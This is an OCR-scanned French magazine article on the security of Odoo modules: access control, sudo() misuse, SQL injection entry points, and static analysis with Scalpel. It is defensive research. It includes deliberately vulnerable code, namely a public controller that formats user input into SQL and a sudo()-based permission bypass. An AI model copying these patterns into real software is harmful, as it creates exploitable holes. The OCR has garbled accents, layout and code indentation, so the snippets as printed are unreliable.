présentation (la vue). Dans Odoo, un modéle repré-
sente un concept ou une entité, comme un produit ou
un client par exemple, ainsi que ses caractéristiques.
Un modele prend la forme d'une classe en Python, ses
attributs correspondant aux caractéristiques du modéle
et les méthodes permettant de manipuler celles-ci.

# Modéle représentant une flotte de véhicules
class Flotte (odoo.models.Model) :

_name = 'monmodule.flotte’
_description = 'Une flotte de véhicules'

# Caractéristiques d'un véhicule (i.e. d'une
instance du modéle)

id = odoo.fields.Id()

immatriculation = odoo.fields.Char (required=True)

kilométrage = odoo.fields.Float (required=True)

# Méthode applicable a un véhicule (i.e. a une
instance du modéle)
def rouler (self):
self kilométrage += 10
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Les vues d'un modéle sont générées par le ser-
veur, puis présentées par le client web. Pour rendre
une page interactive, le client peut envoyer des
requétes HTTP vers des controleurs, situés sur le
serveur, permettant de produire du contenu dyna-
mique. Ces controleurs, accessibles a des adresses
bien précises, ont accés aux modeles et ont la par-
ticularité de pouvoir étre publics.

# On peut mettre plusieurs contrdleurs dans la
méme classe
class MesControleurs (odoo.http.Controller):

# On déclare le contréleur accessible a 1'URL
/monmodule/controleurh comme public
@odoo.http.route (' /monmodule/controleurd’,
type="http', auth='public')
def controleurA(self, param):
|

return odoo.http.request.render(resultat)

2.2 Modularité

Grice au motif MVC, il est facile de créer de
nouvelles fonctionnalités en développant de nou-
veaux modeles, de nouvelles vues et de nouveaux
controleurs. Cependant, Odoo doit maintenir un
registre de 'ensemble des modeles définis dans les
modules installés. C’estla que rentre en jeu I'Object
Relational Mapping, abrégé ORM. Il correspond
a une passerelle entre la logique, implémentée
dans les classes, et le stockage des données sur
une base de données. Ainsi, chaque modeéle défi-
ni en Python est associé a une table dans la base
de données. L’'ORM propose une API permettant
d’accéder a ces données directement en Python
sous la forme d’objets, et se charge de refléter toute
modification apportée a ces objets dansla base de
données.

Gréce a ’API fournie par 'ORM, un développeur
peut ainsirécupérer, modifier, supprimer ou créer
des données directement depuis un modele, sans
avoir a écrire des requétes SQL. Bien que décon-
seillg, il est tout de méme possible d’envoyer ses
propres requétes SQL lorsque 'ORM ne permet
pas d’effectuer une action spécifique. Enfin, il
existe une API externe permettant d’accéder aux
modeles depuis n’importe quel autre langage
de programmation, en utilisant les protocoles
XML/RPC et JSON/RPC.
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2.3 Mécanismes de sécurité

Odoo propose un mecanisme de contrdle d’acces par-
ticuliérement fin, et basé sur des réles. Les utilisateurs
sont affectés a des groupes représentant un ensemble
de droits d’acces aux modeles. Ensuite, un mécanisme
de regles permet d'affiner le controle d’accés pour
chaque instance d'un modéle [SECU].

Il est a noter que ces mécanismes de contréle ne sont
actifs que lorsque I'on accéde aux données via I'API
fournie par 'ORM [RADT]. Contourner cette API revient
alors a contourner le contréle d’acces ! Cela implique
également que seul 'accés aux données est restreint,
et non I'exécution du code. Il est alors possible d’exécu-
ter du code présent dans n’importe quel modéle, sans
permissions particulieres, tant que celui-ci n’accede
pas aux données via 'ORM [RADT]. Dans la méthode
nouveau_vehicule() ci-dessous, le contréle d’acces
n’est effectué qu’a la deuxieme ligne lors de I’utilisa-
tion de ’'ORM, et n’importe qui peut donc exécuter la
premiére instruction.

def nouveau_vehicule():

immatriculation = demande nouvelle
immatriculation()

vehicule = self env['monmodule.flotte'].
create ({'immatriculation': immatriculation,
'kilométrage': 0}) # create() provient de 1'API ORM
et permet de créer une nouvelle instance du modéle =
un nouveau véhicule

véhicule.rouler ()

Enfin, seules les méthodes publiques des modeéles
sontaccessibles a distance vial’API externe en utilisant
les protocoles JSON/RPC ou XML/RPC.

3. MENACES POTENTIELLES

Maintenant que les bases sont posées, il est possible
de modéliser les menaces potentielles (le fameux threat
model) émanant des modules installés et pouvant affec-
ter la plateforme Odoo.

3.1 Vecteurs d’attaques

Malgré les mécanismes de contrdle d’accés aux
données présentés précédemment, une mauvaise uti-
lisation du framework Odoo lors du développement
d’un module peut ouvrir des bréches dans la sécurité
de la plateforme.
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Un développeur peut étre tenté d’exécuter direc-
tement ses propres requétes SQL grace au curseur
de la base de données, afin de ne pas avoir a se fami-
liariser avec ’'ORM et réduire ainsi le temps de déve-
loppement de son module. Pour rappel, contourner
I’'ORM revient & contourner le contrdle d’acces aux
données, ces requétes SQL ne sont donc pas vérifiées.
Il existe alors un risque d’acces non autorisé pouvant
conduire a un vol ou une altération des données.
L'utilisation du curseur de la base de données pose
aussi le risque d’injections SQL, permettant a un at-
taquant d’exécuter la requéte de son choix. Il est a
noter qu’il n’est pas possible d’interdire I'utilisation
de requétes SQL, car celles-ci peuvent étre nécessaires
pour des opérations spécifiques dont’'ORM n’est pas
capable.

Il existe également une subtilité avec le controle d’ac-
cés: I’API de PORM fournit une fonction spéciale sudo
qui permet de contourner le contrdle d’accés [RADT].
Mais pourquoi Odoo fait donc cela ? Prenons 'exemple
d'un commercial, si celui-ci a besoin de générer une
facture via le module de comptabilité, il doit disposer
de droits d’acces aux données de facturation afin de
créer une nouvelle instance de ce modele. Plutot que
de donner un accés compjet au vendeur en le met-
tant dans le groupe des agents comptables, le déve-
loppeur du module peut utiliser la fonction sudo ()
qui, comme sur un systéme Unix, permet d’effectuer
une opération en tant que super utilisateur, et donc
sans restriction de privileges. Bien qu’une utilisation
légitime de sudo () puisse étre requise dans ce genre
de situation, une utilisation abusive de ce mécanisme
peut représenter une menace pour la sécurité de la
plateforme. Si 'on modifie la méthode nouveau_
vehicule(), n’importe quel utilisateur peut créer
un nouveau véhicule, méme s’il ne dispose norma-
lement pas des permissions nécessaires.

def nouveau_vehicule():

immatriculation = demande nouvelle
immatriculation()

vehicule = self.env['monmodule.flotte'].
sudo() .create ({'immatriculation': immatriculation,
'kilométrage': 0}) # La méthode est exécutée en
tant que superutilisateur

véhicule.rouler ()

La figure 2 permet de visualiser schématiquement
les différentes méthodes permettant d’accéder aux
données depuis la logique a 'aide d'un dataflow
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PENTEST CORNER

API + sudo(

Controle d'acces

1
Logique -API— b\\\xh_i//// SQL >

Requétes SQL:

passant par I’API externe peut
appeler les méthodes publiques
d’un modele. Si une de celles-ci
présente un des vecteurs d’attacque
présentés plus tot, cela pourrait
compromettre la sécurité de I'ins-
tance en permettant a un employé
d’accéder a des données non auto-

Données

Fig. 2 : Dataflow Diagram représentant les méthodes d‘accés aux données
depuis la logigue.

diagram. Ony distingue en rouge
les deux chemins potentiellement
vulnérables qui contournent le
controle d’acces.

3.2 Points d‘entrée

Afin d’exploiter les vecteurs d’at-
taques décrits plus tét, il est néces-
saire pour un attacquant de réussir
a declencher les sections de code
faisant appel a ces mécanismes.

Le client peut demanderé récu-
pérer les données associées a un
modeéle ou a appeler une méthode
de celui-ci en envoyant des requétes
HTTP a la passerelle WSGL. Pour
qu'une requéte aboutisse, il faut
que l'utilisateur a l'origine de celle-
ci soit authentifié en fournissant
un token CSRF valide. De maniere
similaire, un utilisateur authentifié

risées, ou d’élever ses priviléges.
La méthode nouveau_vehicule()
décrite plus haut faisant appel a
sudo () est alors potentiellement
vulnérable. Les méthodes publiques d'un modéle représentent donc
notre premier point d’entrée dans le systeme. Il s’agit ici d'une attaque
interne. Bien que ce type d’attaque soit de plus en plus répandu, il im-
pose que l'utilisateur soit authentifié, réduisant la probabilité qu’une
telle attaque se produise.

Les controleurs sont eux directement accessibles via HTTP a des
adresses bien précises et représentent donc notre second point d’en-
trée. Un controleur faisant appel au mécanisme sudo, ou effectuant des
requétes SQL, est ainsi potentiellement vulnérable. De plus, certains
controleurs peuvent étre déclarés comme publics et donc ne pas né-
cessiter d’authentification, exposant alors la plateforme a des attaques
externes. De méme, si un contréleur appelle un modéle qui lui-méme
présente un des vecteurs d’attaque présentés, ce dernier pourrait étre
exploité par le biais du controleur.

@odoo.http.route (' /monmodule/immatriculation’, type='http',
auth='public')
def controleur (self, numero):
query = "SELECT id FROM monmodule.flotte WHERE
immatriculation={}".format (numero)
cr = odoo.http.request.env.cr
cr.execute (query)
results = cr.fetchall()

—HTTF

Utilisateurs

AP + sudo(—

Données

Requéte / M
AFI Exlerne

Modéles

Authentification

Uf

Fig. 3 : Dataflow Diagram représentant les flux de données potentiellement a risque,

o MISC N°132 - mars/avril 2024

miscmag.com




Nous pouvons maintenant com-
pléter le schéma et avoir une vue
d’ensemble des flux de données,
représentés en rouge, permettant
d’accéder aux données sans étre
authentifié, ni posséder de permis-
sions particuliéres. Les controleurs
pouvant étre publics, la barriere
« Authentification » est optionnelle
et donc représentée en orange.

4. ANALYSE DES
MODULES

Dans la section précédente, nous
avons repéré quels comportements
des développeurs peuvent engen-
drer des problémes de sécurité,
notamment l'utilisation de recquétes
SQL et du mécanisme sudo. Nous
avons également identifié les points
d’acces dansle systéme, a savoir les
controleurs et les modeles. Cepen-
dant, qu’en est-il en pratiqué ? Quel
type de comportement a risque
est le plus répandu ? Constituent-
ils des vulnérabilités au sein du
code ?

4.1 Approche

Pour répondre a toutes ces ques-
tions, quoi de mieux que d'analy-
ser des modules disponibles sur
I’'0Odoo Apps Store. 3000 modules
parmi les plus téléchargés de
I’0Odoo Apps Store et disponibles
gratuitement ont ainsi été collectés.
Les versions d’0Odoo 13 (sortie fin
2019) jusqu’a 17 (sortie fin 2023)
sont considérées afin quel’échan-
tillon soit représentatif. En effet,
certains modules populaires ne
sont pas (encore) disponibles pour
la derniére version d’0Odoo, mais
demeurent trés utilisés. Les modules
n’étant que de simples packages
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Python, téléchargés sous forme d’archives ZIP, le code source des mo-
dules est directement accessible, ce qui permet d’effectuer une analyse
statique.

Mais, de par le typage... dynamique de Python, peu d’outils d’ana-
lyse statique sont disponibles pour ce langage. L'approche choisie uti-
lise Scalpel [SCPL], un outil open source fournissant les composants
fondamentaux d’une analyse statique, tels que le Call Graph (CG) et le
Control Flow Graph (CFG). Reste maintenant a élaborer une analyse
spécifique aux modules Odoo. Le but est, dans un premier temps, de
détecter I'utilisation des méthodes a risques énoncées précédemment,
et dans un second temps de vérifier si ces utilisations représentent de
potentielles vulnérabilités.

4.2 Elaboration de I'analyse

Pour guider ’'analyse statique, la premiére étape consiste a extraire
les controleurs et les modeles des modules (nos points d’entrée), afin
d’analyser uniquement le code potentiellement exploitable par un
attaquant.

Pour ce faire, Scalpel génére un Control Flow Graph (CFG) pour chaque
méthode d'un fichier Python (c’est-a-dire un graphe représentant le flot
de controle d'une méthode). Le CFG représente les instructions d’'une
méthode comme les nceuds d’un graphe, reliés par des arétes corres-
pondant au flux d’exécution. Pour accéder au CFG d’'une méthode, il faut
parcourir un ensemble de structures imbriquées, dont la terminologie
peut porter a confusion, car également dénommeées cfg.

from scalpel.cfg import CFGBuilder
builder = CFGBuilder ()

# Construction des Control Flow Graphs imbriqués a partir du fichier
Python:
cfg = builder.build from file(fichier, chemin)
# Pour chaque classe du fichier:
for cls_name, cls_cfg in cfg.class_cfgs.items():
# Pour chaque fonction de la classe:
for (block_id, fun name), fun _cfg in cls cfg.functioncfgs.items():
print (f'\n{fun_name}:')
# Pour chaque bloc atomique d'instructions
for block in fun cfg.get all blocks():
# Pour chaque instruction du bloc:
for stmt in block.statements:
print(stmt)

Chaque instruction est elle-méme représentée formellement sous la
forme d’un arbre de syntaxe abstraite (ou Abstract Syntax Tree, abrégé
AST). L’AST est généré par un parser, décrivant la sémantique d’une
instruction de maniére hiérarchique. Par exemple, I'affectation du 